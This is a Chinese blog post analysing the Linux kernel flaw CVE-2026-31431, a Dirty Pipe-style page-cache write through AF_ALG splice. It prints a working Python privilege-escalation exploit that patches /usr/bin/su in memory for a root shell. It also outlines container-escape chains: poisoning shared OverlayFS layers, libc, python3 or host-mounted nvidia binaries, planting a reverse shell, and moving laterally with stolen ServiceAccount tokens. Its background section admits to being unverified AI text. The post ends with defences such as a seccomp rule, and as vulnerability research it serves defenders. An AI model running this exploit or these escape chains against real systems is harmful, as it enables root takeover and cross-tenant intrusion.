CVE-2026-31431真的只值7.8么

admin 2026-05-06 06:58:05 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档分析CVE-2026-31431内核漏洞,其本质为AFALG子系统在splice接收路径中未清除PIPEBUFFLAGCAN_MERGE标志,导致攻击者可通过污染PageCache篡改只读文件。漏洞影响主机提权与容器逃逸,利用OverlayFS共享inode特性,同一镜像层的多个容器会执行被篡改的二进制或库文件。文档提供完整Python利用代码,演示如何逐步修改SUID文件绕过密码验证获取root权限,并指出可劫持libc、Python等关键文件实现跨容器RCE。 综合评分: 85 文章分类: 漏洞分析,云安全,二进制安全,红队,安全运营


cover_image

CVE-2026-31431 真的只值 7.8 么

DVKunion、Azzzzz DVKunion、Azzzzz

艾拉醒来的四月

2026年4月30日 16:40 浙江

在小说阅读器读本章

去阅读

CVE-2026-31431 真的只值 7.8 么?

今天一个很有意思的洞发出来了,CVE-2026-31431 的一个内核漏洞。从各类分析文章上描述了该漏洞不仅仅影响主机侧,同样 kubernetes 容器场景也会受到影响。

但是目前公开的利用方式只有在主机上的 su 利用思路。具体在容器上的逃逸,是如何实现的呢?我们来看看。

TL;DR

先放个结论,确实能够实现逃逸,且所需要的权限极低、受影响范围不仅仅在 OS,而是各类 PaaS 应用服务。

提供的思路在一些特殊场景下,甚至可以直接拿到主机节点权限。

0x00 背景知识

(此处均 AI,未验证正确性,可以直接跳过到 0x03 容器部分)

在深入漏洞之前,需要理解三个核心概念。

Page Cache

Linux 内核不会每次读文件都访问磁盘。当进程读取一个文件时,内核会将文件内容缓存在内存中——这就是 Page Cache。后续对同一文件的读取直接命中缓存,避免昂贵的磁盘 I/O。

关键特性:Page Cache 以 inode 为粒度管理。同一个文件无论被多少个进程打开,内核中只维护一份缓存页。

splice 系统调用

splice() 是 Linux 提供的零拷贝数据传输机制。它通过 pipe 在两个文件描述符之间搬运数据,不经过用户态缓冲区,直接在内核中移动页面引用:

文件 ──splice──→ pipe ──splice──→ socket
         零拷贝:内核直接传递页面引用,不复制数据

在这个过程中,pipe buffer 会持有对源文件 page cache 页面的引用。pipe buffer 结构体中有一个标志位 PIPE_BUF_FLAG_CAN_MERGE,它决定了后续写入是否可以直接追加到这个 buffer 对应的页面上。

AF_ALG

AF_ALG 是 Linux 内核提供的用户态密码学接口。用户进程可以通过 socket API 直接调用内核中的加密算法(AES、SHA256 等),无需依赖用户态加密库:

int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(fd, ("aead", "authencesn(hmac(sha256),cbc(aes))"));
// 通过 sendmsg/recvmsg 进行加密/解密操作

0x01 漏洞根因

废话环节,其他人的分析比我的好。

漏洞存在于 AF_ALG 子系统处理 splice() 接收数据的路径中。

正常流程中,当数据通过 splice() 从文件进入 pipe 时,pipe buffer 引用的是源文件的 page cache 页面。内核应当确保这些引用是只读的——即清除 PIPE_BUF_FLAG_CAN_MERGE 标志,防止后续操作意外写入这些共享页面。

但 AF_ALG 的 splice 接收路径忘了做这件事。

当数据通过以下路径流动时:

文件 ──splice──→ pipe ──splice──→ AF_ALG socket
                  │
                  └─ pipe buffer 仍持有对文件 page cache 的引用
                     且 PIPE_BUF_FLAG_CAN_MERGE 未被清除

AF_ALG 在处理加密/解密操作后,将结果数据写回 pipe buffer 时,由于 CAN_MERGE 标志仍然存在,内核认为”可以直接写入这个页面”——于是加密输出被写入了源文件的 page cache 页面

这绕过了所有文件权限检查——因为数据根本没有经过 VFS 写入路径。

与 Dirty Pipe (CVE-2022-0847) 的关系

这个漏洞与 2022 年的 Dirty Pipe 是同一类问题的不同变体:

| | Dirty Pipe (CVE-2022-0847) | CVE-2026-31431 | | — | — | — | | 触发路径 | pipe write 后接 splice | splice 经由 AF_ALG socket | | 未清除的标志 | PIPE_BUF_FLAG_CAN_MERGE | 同 | | 影响 | 任意只读文件 page cache 写入 | 同 | | 修复方式 | copy_page_to_iter_pipe 中清除标志 | AF_ALG splice 接收路径中清除标志 |

Dirty Pipe 修复后,内核开发者在主要的 splice 路径中修复了标志位问题,但 AF_ALG 子系统有自己独立的 splice 处理代码,被遗漏了。

0x02 Exploit 分析

完整代码

#!/usr/bin/env python3
import os as g, zlib, socket as s

def d(x):
    return bytes.fromhex(x)

def c(f, t, c):
    # 创建 AF_ALG socket
    a = s.socket(38, 5, 0)  # AF_ALG, SOCK_SEQPACKET
    a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    h = 279# SOL_ALG
    v = a.setsockopt
    v(h, 1, d('0800010000000010' + '0' * 64))  # ALG_SET_KEY
    v(h, 5, None, 4)                            # ALG_SET_AEAD_AUTHSIZE
    u, _ = a.accept()  # 获取操作 socket
    o = t + 4
    i = d('00')
    u.sendmsg(
        [b"A" * 4 + c],    # 数据:4字节填充 + 4字节补丁内容
        [
            (h, 3, i * 4),              # ALG_SET_OP(加密/解密)
            (h, 2, b'\x10' + i * 19),   # ALG_SET_IV
            (h, 4, b'\x08' + i * 3),    # ALG_SET_AEAD_ASSOCLEN
        ],
        32768# MSG_SPLICE_PAGES
    )
    r, w = g.pipe()
    n = g.splice
    n(f, w, o, offset_src=0)     # 文件 → pipe(引用 page cache)
    n(r, u.fileno(), o)          # pipe → AF_ALG socket(触发漏洞)
    try:
        u.recv(8 + t)  # 触发写回,污染 page cache
    except:
        0

# 打开目标 SUID 二进制(只读)
f = g.open("/usr/bin/su", 0)
i = 0
# 解压补丁数据
e = zlib.decompress(d("78daab77f571636264648001260..."))

# 每次写入 4 字节,逐步篡改 /usr/bin/su 的 page cache
while&nbsp;i < len(e):
&nbsp; &nbsp; c(f, i, e[i:i +&nbsp;4])
&nbsp; &nbsp; i +=&nbsp;4

# 执行已被污染的 su,获取 root shell
g.system("su")

攻击流程图解

┌─────────────────────────────────────────────────────────┐
│ 1. 只读打开 /usr/bin/su (SUID root) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp;fd = open("/usr/bin/su", O_RDONLY) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
└──────────────────────┬──────────────────────────────────┘
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;▼
┌─────────────────────────────────────────────────────────┐
│ 2. 创建 AF_ALG AEAD socket &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp;socket(AF_ALG) →&nbsp;bind(aead, authencesn(...)) &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp;setsockopt: 设置密钥、认证标签大小 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp;accept() → 获得操作文件描述符 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
└──────────────────────┬──────────────────────────────────┘
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;▼
┌─────────────────────────────────────────────────────────┐
│ 3. sendmsg 发送补丁数据 + 加密参数 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp;MSG_SPLICE_PAGES(32768) 标志触发 splice 路径 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp;携带 4 字节恶意补丁数据 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
└──────────────────────┬──────────────────────────────────┘
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;▼
┌─────────────────────────────────────────────────────────┐
│ 4. splice: /usr/bin/su → pipe &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp;pipe buffer 获得 page cache 页面引用 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp;⚠️ PIPE_BUF_FLAG_CAN_MERGE 未清除 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
└──────────────────────┬──────────────────────────────────┘
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;▼
┌─────────────────────────────────────────────────────────┐
│ 5. splice: pipe → AF_ALG socket &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp;AF_ALG 加密处理后,结果写回 pipe buffer &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp;由于 CAN_MERGE 标志存在 → 直接写入 page cache 页面 &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp;⚠️ /usr/bin/su 的内存映像被篡改 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
└──────────────────────┬──────────────────────────────────┘
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;▼
┌─────────────────────────────────────────────────────────┐
│ 6. 循环执行,每次修补 4 字节 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp;补丁内容:NOP 掉 su 的密码验证逻辑 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
└──────────────────────┬──────────────────────────────────┘
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;▼
┌─────────────────────────────────────────────────────────┐
│ 7. os.system("su") &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp;内核从 page cache 加载被篡改的 su &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp;SUID 生效 → 以 root 身份运行 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp;密码验证已被 NOP → 直接获得 root shell &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
└─────────────────────────────────────────────────────────┘

0x03 容器场景下的 Page Cache 污染

现在我们已经完全了解了这个 LPE 漏洞的原理了,现在我们该如何打到容器的业务场景呢?这里就要引入到容器的基础知识:OverlayFS 了。

OverlayFS 与 Page Cache 的关系

容器使用 OverlayFS 构建文件系统视图:

Container 视图
&nbsp; &nbsp; │
&nbsp; &nbsp; ├─ upper layer (可写层,容器运行时修改)
&nbsp; &nbsp; └─ lower layer (只读层,来自镜像)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;└─ 实际 inode → Page Cache
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ↑
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 共享!同一镜像 = 同一 inode = 同一 page cache

当容器读取 lower layer 中的文件时,page cache 缓存的是底层真实 inode 的内容。多个容器共享同一个镜像层,就共享同一份 page cache。

那么我们要做的事情就很简单了:

  • 寻找集群或机器上的镜像,因为在 overlayfs 的能力下,相同 layer 实际上是在一个 inode 块上,而通 inode 块可以共享 page cache。
  • 修改可能会被触发的二进制、so 文件等等。
  • 其他使用同 layer 、相同 node 下当触发了对应的 page cache,则会执行我们的 payload。
  • 从而实现突破隔离的 RCE 效果。

当然可污染目标远不止 SUID

| 目标 | 效果 | | — | — | | /usr/bin/su/usr/bin/sudo | 直接提权 | | /lib/x86_64-linux-gnu/libc.so.6 | 劫持所有动态链接程序 | | /usr/bin/python3/usr/bin/node | 劫持运行时,影响所有脚本执行 | | /etc/ld.so.preload | 注入全局 preload 库路径 | | /etc/nsswitch.conf | 劫持域名/用户解析 | | /etc/ssl/certs/ca-certificates.crt | 注入恶意 CA 证书,实施 MITM |

具体会影响的业务场景有哪些呢?

场景1: 攻击容器 daemonset

集群中存在大量的 deamonset,我们可以复制一个 deamonset 使用的镜像,创建一个 pod。

攻击者在 Container A 中执行 exploit,污染的 page cache 被 Daemonset Container B 和 C 同时读到

比如:deamonset 会定期执行一些任务或进程,我们可以修改他频繁执行的 binary, 这在很多 daemonset 守护容器或监控服务中很常见;等待下一次执行的时候则会触发我们的 payload。

可以寻找一下大部分集群中的常见 daemonset 服务,查看 entrypoint.sh 是否会有常见的 bin 调用。

and,这部分 deamonset 大部分都有较高的权限,或事挂载了宿主目录,从而进入传统的集群渗透。

场景2: host_path 会不会有脏东西?

在越来越多的 AI GPU 服务,会把宿主机的 nvidia 驱动直接通过 bind mount的方式给挂载到容器里面。

所以容器里面和宿主机的 inode 是一样的,按这次的漏洞,只要有人在容器里面,用 splice,把这些类似 nvidia-smi 之类的文件,或者 .so 的文件给改了,那么宿主机一旦用了这些 bin或者 driver,就会直接 rce。下面这一坨都行:

nvidia

by the way, readOnly: true 对 page cache 完全不生效了。

场景3: PaaS 业务

有了两个前面的基础,那么我们再想想,PaaS 这种多租户,每个租户启动的镜像可能都相同,而该利用方式又不需要特别的权限;当租户了解了自己的镜像会启动哪些东西后,通过该漏洞 CVE 篡改 page cache,后续启动的镜像是不是都会直接执行恶意 payload?

横向移动

将这些能力组合,形成完整的攻击链:

低权限 Pod(无特殊 capability)
&nbsp; &nbsp; │
&nbsp; &nbsp; ├─ 1. 污染 lower layer 的文件 如:/usr/bin/python3
&nbsp; &nbsp; │ &nbsp; &nbsp; 注入:启动时自动建立 reverse shell
&nbsp; &nbsp; │
&nbsp; &nbsp; ├─ 2. 等待同节点其他 Pod 调用 python3
&nbsp; &nbsp; │ &nbsp; &nbsp; 触发点:health check、cron job、应用启动
&nbsp; &nbsp; │ &nbsp; &nbsp; (大多数 Python 服务每几秒就会触发)
&nbsp; &nbsp; │
&nbsp; &nbsp; └─ 3. 在目标 Pod 上下文中获得执行权
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 可利用的资源:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ├─ ServiceAccount token → K8s API 横向移动
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ├─ 挂载的 Secret / ConfigMap
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ├─ 网络策略允许的内网访问
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; └─ 更高的 Linux capability

0x04 防御建议

临时建议

# 强制清除 page cache
echo&nbsp;3 > /proc/sys/vm/drop_caches

但这在生产环境中代价高昂——清除 page cache 会导致严重的性能抖动。

内核层

| | | — | | |

| 措施 | 说明 | | — | — | | 升级内核 | 根治方案,应用包含修复的补丁 | | Seccomp 策略 | 禁止 socket(AF_ALG, ...) 系统调用(family=38) | | 限制 splice | 可行但影响面大,很多应用依赖 splice(如 nginx、sendfile) |

容器运行时层

// Seccomp profile: 禁止创建 AF_ALG socket
{
&nbsp;&nbsp;"defaultAction":&nbsp;"SCMP_ACT_ALLOW",
&nbsp;&nbsp;"syscalls": [
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp;&nbsp;"names": ["socket"],
&nbsp; &nbsp; &nbsp;&nbsp;"action":&nbsp;"SCMP_ACT_ERRNO",
&nbsp; &nbsp; &nbsp;&nbsp;"args": [
&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp;"index":&nbsp;0,&nbsp;"value":&nbsp;38,&nbsp;"op":&nbsp;"SCMP_CMP_EQ"&nbsp;}
&nbsp; &nbsp; &nbsp; ]
&nbsp; &nbsp; }
&nbsp; ]
}

0x05 总结

当然这个 overlayFs 的利用方式只是个抛砖引玉,证明该 CVE 在容器化场景下的影响,实际利用手段可能更优雅,思路更佳新奇。欢迎探讨。

P.S. 有没有 Android 大手子看看手机是不是能更优雅 ROOT 了……


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:艾拉醒来的四月 DVKunion、Azzzzz DVKunion、Azzzzz《CVE-2026-31431 真的只值 7.8 么》

评论:0   参与:  0